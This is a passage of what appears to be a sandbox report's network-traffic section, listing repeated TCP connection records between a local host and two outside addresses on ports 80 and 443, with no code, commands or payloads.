Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 23.94.148.16:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 23.94.148.16:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
